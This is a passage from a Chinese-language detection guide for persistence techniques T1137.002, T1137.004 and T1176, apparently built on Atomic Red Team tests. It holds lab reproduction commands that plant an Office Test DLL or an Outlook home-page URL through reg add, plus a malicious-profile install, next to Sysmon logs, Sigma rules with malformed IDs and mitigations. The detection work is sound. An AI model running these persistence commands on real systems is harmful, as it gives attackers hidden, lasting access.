3. **网络访问控制** - 限制远程登录(如RDP、SMB),仅允许白名单IP。 - 示例防火墙规则: ```powershell New-NetFirewallRule -DisplayName "Block RDP" -Direction Inbound -LocalPort 3389 -Protocol TCP -Action Block ``` 4. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 使用强密码策略,避免弱密码。 5. **日志和监控** - 启用事件ID 4720、4732和4688的监控,检测账户创建和命令行操作。 - 配置Sysmon监控`net.exe`和`powershell.exe`的异常命令行。 - 使用EDR工具检测账户创建及后续登录行为。 6. **定期审计** - 检查本地账户和组成员变更,识别异常操作。 - 示例PowerShell命令: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4720 } | Select-Object TimeCreated, @{Name="AccountName";Expression={$_.Properties[0].Value}} ``` ### 检测 检测工作应集中在本地账户创建行为: - **账户事件监控**:分析事件ID 4720,检测账户创建。 - **命令行监控**:检测`net user /add`或`New-LocalUser`的执行(事件ID 4688或Sysmon事件ID 1)。 - **组成员监控**:检测新账户添加到Administrators组(事件ID 4732)。 - **登录行为监控**:检测新账户的首次登录(事件ID 4624)。 - **多事件关联**:结合账户创建和命令行事件,提高检测准确性。 - **威胁情报整合**:分析账户名称或命令行是否与已知攻击模式匹配。 ## 参考推荐 - MITRE ATT&CK: T1136.001 - Detecting Local User Creation in AD with Sigma - Sigma Rule for Local User Creation ================================================ FILE: Windows/05持久化/T1137.002-Win-office应用启动程序-office test.md ================================================ # T1137.002-Win-Office应用启动程序-Office Test ## 描述 攻击者可能滥用Microsoft Office的“Office Test”注册表键实现系统持久化(T1137.002)。该注册表键允许用户指定任意DLL,在每次启动Office应用程序(如Word、Excel)时加载执行。此功能原为Microsoft开发Office时的测试和调试用途,默认安装不创建相关键。攻击者可通过添加或修改以下注册表位置,加载恶意DLL: ```plaintext HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf ``` `HKCU`键影响当前用户,`HKLM`键影响所有用户。攻击者需具备相应权限(如管理员权限修改`HKLM`),并将恶意DLL路径写入注册表。Office启动时会加载该DLL,执行恶意代码,实现持久化。此技术隐蔽性较高,因其不依赖常见持久化机制(如启动项)。检测重点在于监控注册表键的创建/修改及Office进程的异常DLL加载。 ## 测试案例 1. **Office Test注册表持久化** 攻击者通过`reg add`命令创建`Office Test`注册表键,指定恶意DLL路径,在Office启动时执行。 2. **伪装合法DLL** 攻击者将恶意DLL命名为类似系统DLL的名称(如`msvcr.dll`),降低被发现风险。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,可能涉及`reg.exe`或Office应用程序的执行。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`reg.exe`或Office应用程序(如`winword.exe`)的命令行参数。 - **事件ID 13**:记录注册表值修改,如`Office test\Special\Perf`键的创建或更新。 - **事件ID 7**:记录DLL加载,检测Office进程加载的异常DLL。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表、进程和DLL加载监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+,安装Microsoft Office(2016+)。 - **权限**:本地管理员权限(修改`HKCU`无需管理员权限,修改`HKLM`需要)。 - **工具**:测试用DLL(如`test.dll`),Sysmon及Windows安全日志启用。 ### 攻击步骤 1. **添加Office Test注册表键** 以管理员权限运行CMD,添加`HKCU`注册表键,指定DLL路径: ```dos reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "C:\Users\Administrator.ZHULI\Desktop\test.dll" ``` **真实测试结果**: ```dos C:\Users\Administrator.ZHULI>reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "C:\Users\Administrator.ZHULI\Desktop\test.dll" 操作成功完成。 ``` 2. **启动Office应用程序** 打开Word或Excel,触发DLL加载。 3. **清理注册表(测试后)** 删除注册表键: ```dos reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /f >nul 2>&1 ``` **真实测试结果**: ```dos C:\Users\Administrator.ZHULI>reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /f >nul 2>&1 ``` 4. **验证结果** - 检查注册表键: ```dos reg query "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" ``` - 检查日志: - **Sysmon日志(事件ID 13)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2022-01-11 06:27:59.168 ProcessGuid: {78c84c47-236f-61dd-cf20-000000000800} ProcessId: 3312 Image: C:\Windows\System32\reg.exe TargetObject: HKU\S-1-5-21-2729552704-1545692732-1695105048-500\Software\Microsoft\Office test\Special\Perf\(Default) Details: C:\Users\Administrator.ZHULI\Desktop\test.dll User: ZHULI\Administrator ``` - **Sysmon日志(事件ID 7,DLL加载)**: ```plaintext EventID: 7 Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE ImageLoaded: C:\Users\Administrator.ZHULI\Desktop\test.dll User: ZHULI\Administrator ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 RuleName: technique_id=T1112,technique_name=Modify Registry UtcTime: 2022-01-11 06:27:59.157 ProcessGuid: {78c84c47-236f-61dd-cf20-000000000800} ProcessId: 3312 Image: C:\Windows\System32\reg.exe CommandLine: reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "C:\Users\Administrator.ZHULI\Desktop\test.dll" User: ZHULI\Administrator IntegrityLevel: High ``` - **Sysmon日志(事件ID 13)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2022-01-11 06:27:59.168 ProcessId: 3312 Image: C:\Windows\System32\reg.exe TargetObject: HKU\S-1-5-21-2729552704-1545692732-1695105048-500\Software\Microsoft\Office test\Special\Perf\(Default) Details: C:\Users\Administrator.ZHULI\Desktop\test.dll User: ZHULI\Administrator ``` - **Sysmon日志(事件ID 7)**: ```plaintext EventID: 7 Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE ImageLoaded: C:\Users\Administrator.ZHULI\Desktop\test.dll Hashes: SHA256= User: ZHULI\Administrator ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测Office Test注册表键的创建/修改及异常DLL加载。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKCU\Software\Microsoft\Office test\Special\Perf`或`HKLM\Software\Microsoft\Office test\Special\Perf`的修改。 - 监控Sysmon事件ID 7,检测Office进程(如`winword.exe`)加载的非Office标准DLL。 - 监控Sysmon事件ID 1或Windows事件ID 4688,检测`reg.exe`的异常命令行(如添加`Office test`键)。 - 监控事件ID 4624,检测新DLL触发的异常登录行为。 2. **Sigma规则(注册表修改)**: ```yaml title: Office Test注册表键修改 id: p1q2r3s4-t5u6-7890-vwxy-z1234567890 status: stable description: 检测Office Test注册表键的创建或修改,可能表明持久化攻击 references: - https://attack.mitre.org/techniques/T1137/002/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.002/T1137.002.yaml tags: - attack.persistence - attack.t1137.002 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: '\Software\Microsoft\Office test\Special\Perf' condition: selection fields: - TargetObject - Details - Image falsepositives: - 合法的Office开发测试 level: high ``` 3. **Sigma规则(DLL加载)**: ```yaml title: Office进程加载异常DLL id: q2r3s4t5-u6v7-8901-wxyz-2345678901 status: experimental description: 检测Office应用程序加载非标准DLL,可能与Office Test持久化相关 logsource: product: windows service: sysmon detection: selection: EventID: 7 Image|endswith: - '\winword.exe' - '\excel.exe' - '\powerpnt.exe' ImageLoaded|contains: '.dll' ImageLoaded|not_contains: - '\Microsoft Office\' - '\Windows\System32\' - '\Windows\SysWOW64\' condition: selection fields: - Image - ImageLoaded - User falsepositives: - 第三方Office插件 - 开发环境中的合法DLL level: medium ``` 4. **SIEM规则**: - 检测Office Test注册表修改及DLL加载。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=13 TargetObject="*Office test\Special\Perf*") OR (EventCode=7 Image IN ("*winword.exe","*excel.exe","*powerpnt.exe") ImageLoaded="*.dll" NOT ImageLoaded IN ("*Microsoft Office*","*System32*","*SysWOW64*")) | stats count by EventCode, TargetObject, Image, ImageLoaded, ComputerName ``` 5. **注册表监控**: - 监控`HKCU\Software\Microsoft\Office test\Special\Perf`和`HKLM\Software\Microsoft\Office test\Special\Perf`的创建或修改。 - 示例PowerShell查询: ```powershell Get-ItemProperty -Path "HKCU:\Software\Microsoft\Office test\Special\Perf" -ErrorAction SilentlyContinue ``` 6. **威胁情报整合**: - 检查DLL文件哈希或路径是否与已知恶意样本相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御Office Test持久化需从注册表保护、DLL加载监控和权限控制入手: 1. **限制注册表访问** - 配置ACL,限制非管理员用户对`HKCU\Software\Microsoft\Office test`和`HKLM\Software\Microsoft`的写入权限。 3. **加强Office安全** - 启用Office攻击面减少(ASR)规则,限制未知DLL加载。 - 配置组策略:`计算机配置 > 管理模板 > Microsoft Office > 安全设置 > 阻止不受信任的DLL`。 4. **网络访问控制** - 限制Office应用程序的出站连接,防止恶意DLL发起网络通信。 5. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 使用强密码策略,避免弱凭据。 6. **日志和监控** - 启用Sysmon事件ID 13和7,检测注册表修改及异常DLL加载。 - 配置SIEM监控`Office test\Special\Perf`相关事件。 - 使用EDR工具检测Office进程的非标准行为。 7. **定期审计** - 检查Office Test注册表键是否存在。 ### 检测 检测工作应集中在注册表和DLL加载行为: - **注册表监控**:检测`Office test\Special\Perf`键的创建或修改(Sysmon事件ID 13)。 - **DLL加载监控**:检测Office进程加载非标准DLL(Sysmon事件ID 7)。 - **进程监控**:检测`reg.exe`的异常命令行(如添加`Office test`键,事件ID 4688或Sysmon事件ID 1)。 - **多事件关联**:结合注册表修改和DLL加载事件,提高检测准确性。 - **威胁情报整合**:分析DLL哈希或路径是否与已知恶意样本匹配。 ## 参考推荐 - MITRE ATT&CK: T1137.002 - Atomic Red Team: T1137.002 ================================================ FILE: Windows/05持久化/T1137.004-Win-office应用启动程序-outlook主页.md ================================================ # T1137.004-Win-Office应用启动程序-Outlook主页 ## 描述 攻击者可能利用Microsoft Outlook的“主页”(Home Page)功能实现系统持久化(T1137.004)。Outlook主页允许为特定文件夹(如收件箱)设置自定义HTML页面,在打开文件夹时加载内部或外部URL的内容。攻击者可配置恶意HTML文件,包含JavaScript或其他可执行代码,在Outlook访问目标文件夹时触发,从而执行恶意有效负载。 此功能为Outlook早期版本的遗留特性,允许自定义文件夹视图,但可被滥用为持久化机制。恶意主页在Outlook启动并加载目标文件夹(如收件箱)时执行,隐蔽性较高。攻击者需具备用户权限以修改注册表(如`HKCU`),或管理员权限以影响全局配置。检测重点在于监控Outlook相关注册表键的修改及异常HTML加载行为。 ## 测试案例 1. **Outlook主页持久化** 攻击者通过修改注册表,为Outlook收件箱设置恶意HTML页面URL,在文件夹加载时执行代码。 2. **伪装合法HTML** 攻击者使用看似合法的HTML文件名或托管在可信域的URL,降低被发现风险。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,可能涉及`reg.exe`或`outlook.exe`的执行。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`reg.exe`或`outlook.exe`的命令行参数。 - **事件ID 13**:记录注册表值修改,如`HKCU\Software\Microsoft\Office\\Outlook\WebView\`的创建或更新。 - **事件ID 3**:记录网络连接,检测Outlook加载外部URL的活动。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表、进程和网络监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+,安装Microsoft Outlook(2016+,版本16.0)。 - **权限**:用户权限(修改`HKCU`)。 - **工具**:测试用HTML文件(如`T1137.004.html`),Sysmon及Windows安全日志启用。 - **测试文件路径**:`C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1137.004\src\T1137.004.html`。 ### 攻击步骤 1. **添加Outlook主页注册表键** 以用户权限运行CMD,为收件箱设置恶意HTML页面: ```dos reg.exe add HKCU\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox /v URL /t REG_SZ /d "C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1137.004\src\T1137.004.html" /f ``` **真实测试结果**: ```dos C:\Users\Administrator.ZHULI>reg.exe add HKCU\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox /v URL /t REG_SZ /d C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1137.004\src\T1137.004.html /f 操作成功完成。 ``` 2. **触发持久化** 启动Outlook并打开收件箱,加载恶意HTML页面。 3. **清理注册表(测试后)** 删除注册表键: ```dos reg.exe delete HKCU\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox /v URL /f >nul 2>&1 ``` 4. **验证结果** - 检查注册表键: ```dos reg query HKCU\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox ``` - 检查日志: - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 RuleName: technique_id=T1112,technique_name=Modify Registry UtcTime: 2022-01-11 06:54:50.664 ProcessGuid: {78c84c47-29ba-61dd-b821-000000000800} ProcessId: 6040 Image: C:\Windows\System32\reg.exe CommandLine: reg.exe add HKCU\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox /v URL /t REG_SZ /d C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1137.004\src\T1137.004.html /f User: ZHULI\Administrator IntegrityLevel: High ``` - **Sysmon日志(事件ID 13)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2022-01-11 06:54:50.675 ProcessId: 6040 Image: C:\Windows\System32\reg.exe TargetObject: HKU\S-1-5-21-2729552704-1545692732-1695105048-500\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox\URL Details: C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1137.004\src\T1137.004.html User: ZHULI\Administrator ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 RuleName: technique_id=T1112,technique_name=Modify Registry UtcTime: 2022-01-11 06:54:50.664 ProcessGuid: {78c84c47-29ba-61dd-b821-000000000800} ProcessId: 6040 Image: C:\Windows\System32\reg.exe CommandLine: reg.exe add HKCU\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox /v URL /t REG_SZ /d C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1137.004\src\T1137.004.html /f User: ZHULI\Administrator IntegrityLevel: High Hashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B,MD5=8A93ACAC33151793F8D52000071C0B06,SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF ``` - **Sysmon日志(事件ID 13)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2022-01-11 06:54:50.675 ProcessGuid: {78c84c47-29ba-61dd-b821-000000000800} ProcessId: 6040 Image: C:\Windows\System32\reg.exe TargetObject: HKU\S-1-5-21-2729552704-1545692732-1695105048-500\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox\URL Details: C:\Users\Administrator.ZHULI\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1137.004\src\T1137.004.html User: ZHULI\Administrator ``` - **Sysmon日志(事件ID 3,加载外部URL)**: ```plaintext EventID: 3 Image: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE DestinationIp: DestinationPort: 80 Protocol: tcp Initiated: true User: ZHULI\Administrator ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测Outlook主页注册表键的修改及异常网络活动。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKCU\Software\Microsoft\Office\\Outlook\WebView\`的修改。 - 监控Sysmon事件ID 1或Windows事件ID 4688,检测`reg.exe`的异常命令行(如添加`Outlook\WebView`键)。 - 监控Sysmon事件ID 3,检测`outlook.exe`发起的异常网络连接(如加载外部URL)。 - 监控事件ID 4624,检测新主页触发的异常登录行为。 2. **Sigma规则(注册表修改)**: ```yaml title: Outlook主页注册表键修改 id: r3s4t5u6-v7w8-9012-xyza-3456789012 status: stable description: 检测Outlook主页注册表键的创建或修改,可能表明持久化攻击 references: - https://attack.mitre.org/techniques/T1137/004/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.004/T1137.004.yaml tags: - attack.persistence - attack.t1137.004 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: '\Software\Microsoft\Office\*\Outlook\WebView\' condition: selection fields: - TargetObject - Details - Image falsepositives: - 合法的Outlook主页配置 level: high ``` 3. **Sigma规则(异常网络连接)**: ```yaml title: Outlook异常网络连接 id: s4t5u6v7-w8x9-0123-yzab-4567890123 status: experimental description: 检测Outlook加载外部URL的异常网络活动,可能与主页持久化相关 logsource: product: windows service: sysmon detection: selection: EventID: 3 Image|endswith: '\outlook.exe' DestinationPort: - 80 - 443 Initiated: true condition: selection fields: - Image - DestinationIp - DestinationPort falsepositives: - 合法的Outlook插件或网页内容加载 level: medium ``` 4. **SIEM规则**: - 检测Outlook主页注册表修改及网络活动。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=13 TargetObject="*Outlook\WebView*") OR (EventCode=3 Image="*outlook.exe" DestinationPort IN (80,443)) | stats count by EventCode, TargetObject, Image, DestinationIp, ComputerName ``` 5. **注册表监控**: - 监控`HKCU\Software\Microsoft\Office\\Outlook\WebView`的创建或修改。 - 示例PowerShell查询: ```powershell Get-ItemProperty -Path "HKCU:\Software\Microsoft\Office\*\Outlook\WebView\*" -ErrorAction SilentlyContinue ``` 6. **威胁情报整合**: - 检查HTML文件或URL是否与已知恶意样本相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御Outlook主页持久化需从注册表保护、网络监控和Outlook配置入手: 1. **限制注册表访问** - 配置ACL,限制非管理员用户对`HKCU\Software\Microsoft\Office\\Outlook\WebView`的写入权限。 2. **禁用Outlook主页功能** - 配置组策略禁用Web视图: `用户配置 > 管理模板 > Microsoft Outlook > 禁用Web视图`。 - 或设置注册表: ```powershell Set-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Office\16.0\Outlook\Options\WebView" -Name "Enable" -Value 0 ``` 3. **加强Outlook安全** - 启用Outlook攻击面减少(ASR)规则,限制脚本执行。 - 配置组策略:`计算机配置 > 管理模板 > Microsoft Outlook > 安全设置 > 阻止不受信任的HTML内容`。 4. **凭据保护** - 启用多因素认证(MFA)保护Outlook账户。 - 使用强密码策略,避免弱凭据。 5. **日志和监控** - 启用Sysmon事件ID 13和3,检测注册表修改及异常网络连接。 - 配置SIEM监控`Outlook\WebView`相关事件。 - 使用EDR工具检测Outlook进程的非标准行为。 6. **定期审计** - 检查Outlook WebView注册表键是否存在。 7. **使用Microsoft工具** - 运行Microsoft提供的PowerShell脚本,检测和修复Outlook主页或表单注入: . ## 参考推荐 - MITRE ATT&CK: T1137.004 - Atomic Red Team: T1137.004 - Detect and Remediate Outlook Rules and Forms Attacks ================================================ FILE: Windows/05持久化/T1176-浏览器扩展.md ================================================ # T1176-浏览器扩展 ## 描述 攻击者可能滥用浏览器扩展(或插件)在目标系统上建立持久化访问(T1176)。浏览器扩展是增强浏览器功能的小程序,可通过应用商店或直接安装,拥有对浏览器访问内容(如网页数据、用户输入、凭据)的广泛权限。恶意扩展可通过伪装为合法扩展、社交工程、或在已入侵系统上直接安装等方式部署。 恶意扩展可能窃取敏感信息(如凭据、浏览数据)、加载远程脚本、或作为后门与命令与控制(C2)服务器通信。攻击者还可能篡改扩展的更新URL,从其控制的服务器推送恶意更新,或通过移动配置文件(如`.mobileconfig`)静默安装扩展(macOS 11之前)。由于浏览器应用商店的审核机制可能存在漏洞,恶意扩展具有较高的隐蔽性。检测重点在于监控扩展安装行为、异常网络连接及文件/注册表修改。 ## 测试案例 1. **Chrome开发者模式安装扩展** 攻击者通过启用开发者模式,手动加载未打包的恶意扩展。 2. **Chrome应用商店安装恶意扩展** 攻击者通过伪装的合法扩展(如VPN)从Chrome Web Store安装恶意扩展。 3. **Firefox临时加载扩展** 攻击者通过Firefox的调试界面加载临时恶意扩展。 4. **Edge Chromium插件安装** 攻击者从Microsoft Edge附加商店安装伪装为VPN的恶意扩展,隐藏C2流量。 5. **macOS移动配置文件(macOS 11前)** 攻击者通过`.mobileconfig`文件静默安装扩展。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,可能涉及浏览器或扩展安装工具的执行。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含浏览器(如`chrome.exe`)或工具(如`reg.exe`)的命令行参数。 - **事件ID 13**:记录注册表修改,如扩展相关的注册表键变更。 - **事件ID 3**:记录网络连接,检测扩展与C2服务器的通信。 - **事件ID 11**:记录文件创建,检测扩展文件写入磁盘。 **配置日志记录** - Windows: - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表、文件和网络监控。 - macOS: - 启用命令行工具(如`profiles`)的审计日志。 - 使用Endpoint Security Framework监控文件和进程活动。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或macOS(10.15或11+),安装Chrome、Firefox或Edge浏览器。 - **权限**:用户权限(开发者模式安装扩展)或管理员权限(某些系统级修改)。 - **工具**:测试用扩展文件(如`manifest.json`)、恶意HTML样本、Sysmon(Windows)或日志工具(macOS)。 - **测试资源**:Atomic Red Team的T1176测试用例。 ### 攻击步骤 1. **测试1:Chrome开发者模式安装扩展** - 打开Chrome,导航到`chrome://extensions/`,启用“开发者模式”。 - 点击“加载已解压的扩展”,选择包含`manifest.json`的恶意扩展文件夹(如`C:\Users\Administrator\Desktop\Browser_Extension`)。 - **验证**:扩展加载后,打开新标签页,观察是否触发恶意行为(如弹出窗口或网络请求)。 - **清理**:在`chrome://extensions/`中移除扩展。 2. **测试2:Chrome应用商店安装恶意扩展** - 打开Chrome,导航到[https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend](https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend)。 - 点击“添加到Chrome”,安装扩展。 - **验证**:检查扩展是否发起异常网络连接或窃取数据。 - **清理**:在`chrome://extensions/`中移除扩展。 3. **测试3:Firefox临时加载扩展** - 打开Firefox,导航到`about:debugging#/runtime/this-firefox`。 - 点击“加载临时附加组件”,选择恶意扩展的`manifest.json`(如[https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1176/src/manifest.json](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1176/src/manifest.json))。 - **验证**:扩展加载后,观察是否触发恶意行为。 - **清理**:在`about:addons`中移除扩展。 4. **测试4:Edge Chromium插件安装** - 打开Edge,导航到[https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj](https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj)。 - 点击“获取”,安装VPN扩展。 - **验证**:检查扩展是否隐藏C2流量。 - **Cleanup**:在`edge://extensions/`中移除扩展。 5. **测试5:macOS移动配置文件(macOS 10.15)** - 使用`profiles`工具安装恶意`.mobileconfig`文件: ```bash profiles install -type=configuration -path=/path/to/malicious.mobileconfig ``` - **验证**:检查`/Library/Managed Preferences//`下的`plist`文件,确认扩展安装。 - **Cleanup**:移除配置文件: ```bash profiles remove -identifier= ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 1,Windows)**: ```plaintext EventID: 1 UtcTime: 2022-01-11 07:00:00.123 ProcessGuid: {78c84c47-1234-61dd-abcd-000000000800} ProcessId: 4567 Image: C:\Program Files\Google\Chrome\Application\chrome.exe CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\Administrator\Desktop\Browser_Extension" User: ZHULI\Administrator IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 13,Windows)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2022-01-11 07:00:01.234 ProcessId: {4567} Image: C:\Program Files\Google\Chrome\Application\chrome.exe TargetObject: HKCU\Software\Google\Chrome\Extensions\ Details: User: ZHULI\Administrator ``` - **Sysmon日志(事件ID 3,Windows)**: ```plaintext EventID: 3 Image: C:\Program Files\Google\Chrome\Application\chrome.exe DestinationIp: DestinationPort: 443 Protocol: tcp Initiated: true User: ZHULI\Administrator ``` - **macOS Unified Log(macOS 10.15)**: ```plaintext Timestamp: 2022-01-11 12:00:01.123 Process: profiles Subsystem: com.apple.ManagedClient Message: Installing configuration profile: /path/to/malicious.mobileconfig ``` - **macOS File Event**: ```plaintext Path: /Library/Managed Preferences//.plist Event: Created Timestamp: 2022-01-11 12:00:02.456 ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon、Windows安全日志或macOS日志,检测浏览器扩展安装及异常行为。以下是具体思路: 1. **日志分析**: - **Windows**: - 监控Sysmon事件ID 13,检测浏览器扩展相关的注册表键(如`HKCU\Software\Google\Chrome\Extensions`)修改。 - 监控Sysmon事件ID 3,检测浏览器发起的异常网络连接(如C2通信)。 - 监控Sysmon事件ID 11,检测扩展文件(如`.crx`、`.xpi`)写入磁盘。 - 监控事件ID 4688,检测浏览器开发者模式的命令行参数。 - **macOS**: - 监控`profiles`工具的命令行执行(如`profiles install`)。 - 检测`/Library/Managed Preferences//`下的`plist`文件创建。 2. **Sigma规则(Windows 扩展注册表修改)**: ```yaml title: 浏览器扩展注册表修改 id: t67890123-abcd456789-vwxyz012345 status: experimental description: 检测浏览器扩展注册表键的创建或修改,可能表明恶意扩展安装 references: - https://attack.mitre.org/techniques/T1176/ - https://github.com/redcanaryco/atomic-update/blob/master/T1176/T1176.yaml tags: - attack.persistence - attack.t1176 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: - '\Software\Google\Chrome\Extensions' - '\Software\Mozilla\Firefox\Extensions' - '\Software\Microsoft\Edge\Extensions' condition: selection fields: - TargetObject - Details - Image falsepositives: - 合法用户安装的扩展 level: medium ``` 3. **Sigma规则(Windows 异常网络连接)**: ```yaml title: 浏览器扩展异常网络连接 id: u78901234-abcd456789-xyz123456789 status: experimental description: 检测浏览器扩展发起的异常网络连接,可能与C2通信相关 logsource: product: windows service: sysmon detection: selection: EventID: 3 Image|endswith: - '\chrome.exe' - '\firefox.exe' - '\msedge.exe' DestinationPort: - 80 - 443 Initiated: true condition: selection filter: DestinationIp|startswith: - '172.217.' # Google - '104.0.' # Microsoft - '192.168.' # Internal condition: selection and not filter fields: - Image - DestinationIp - DestinationPort falsepositives: - 合法扩展的更新或数据请求 level: medium ``` 4. **SIEM规则**: - 检测扩展安装及网络行为。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=13 TargetObject IN ("*Chrome\Extensions*","*Firefox\Extensions*","*Edge\Extensions*")) OR (EventID=3 Image IN ("*chrome.exe","*firefox.exe","*msedge.exe") DestinationPort IN (80,443) NOT DestinationIp IN ("172.217.*","104.*")) | stats count by EventID, TargetObject, Image, DestinationIp, ComputerName ``` 5. **威胁情报整合**: - 检查扩展文件、URL或网络连接是否与已知恶意样本相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 参考链接 - MITRE ATT&CK: T1176 - Atomic Red Team: T1176 ================================================ FILE: Windows/05持久化/T1197-Win-BITS Jobs权限维持.md ================================================ # T1197-Win-BITS Jobs权限维持 ## 描述 攻击者可能滥用Windows后台智能传输服务(BITS)实现持久化、文件传输或数据外泄(T1197)。BITS是一种低带宽异步文件传输机制,通过COM接口公开,支持HTTP/HTTPS和SMB协议,常用于Windows更新、消息传递等后台任务。BITS任务存储在BITS数据库中,无需创建新文件或修改注册表,且通常被主机防火墙允许,具有较高隐蔽性。 攻击者可通过`bitsadmin.exe`或PowerShell cmdlet(如`Start-BitsTransfer`)创建BITS任务,下载恶意文件(如可执行文件、脚本),并通过`SetNotifyCmdLine`设置任务完成或错误时执行的命令,实现持久化。BITS任务默认生命周期为90天(可延长),支持系统重启后自动恢复,适合长期潜伏。上传功能还可用于通过替代协议外泄数据(T1048)。攻击者需管理员权限以创建某些高级任务。检测重点在于监控BITS任务创建、命令行参数及异常网络活动。 ## 测试案例 1. **BITS任务下载恶意文件** 攻击者使用`bitsadmin`或PowerShell下载恶意可执行文件到本地。 2. **BITS任务持久化** 攻击者创建长期BITS任务,设置任务完成时执行恶意文件,实现重启后持久化。 3. **BITS数据外泄** 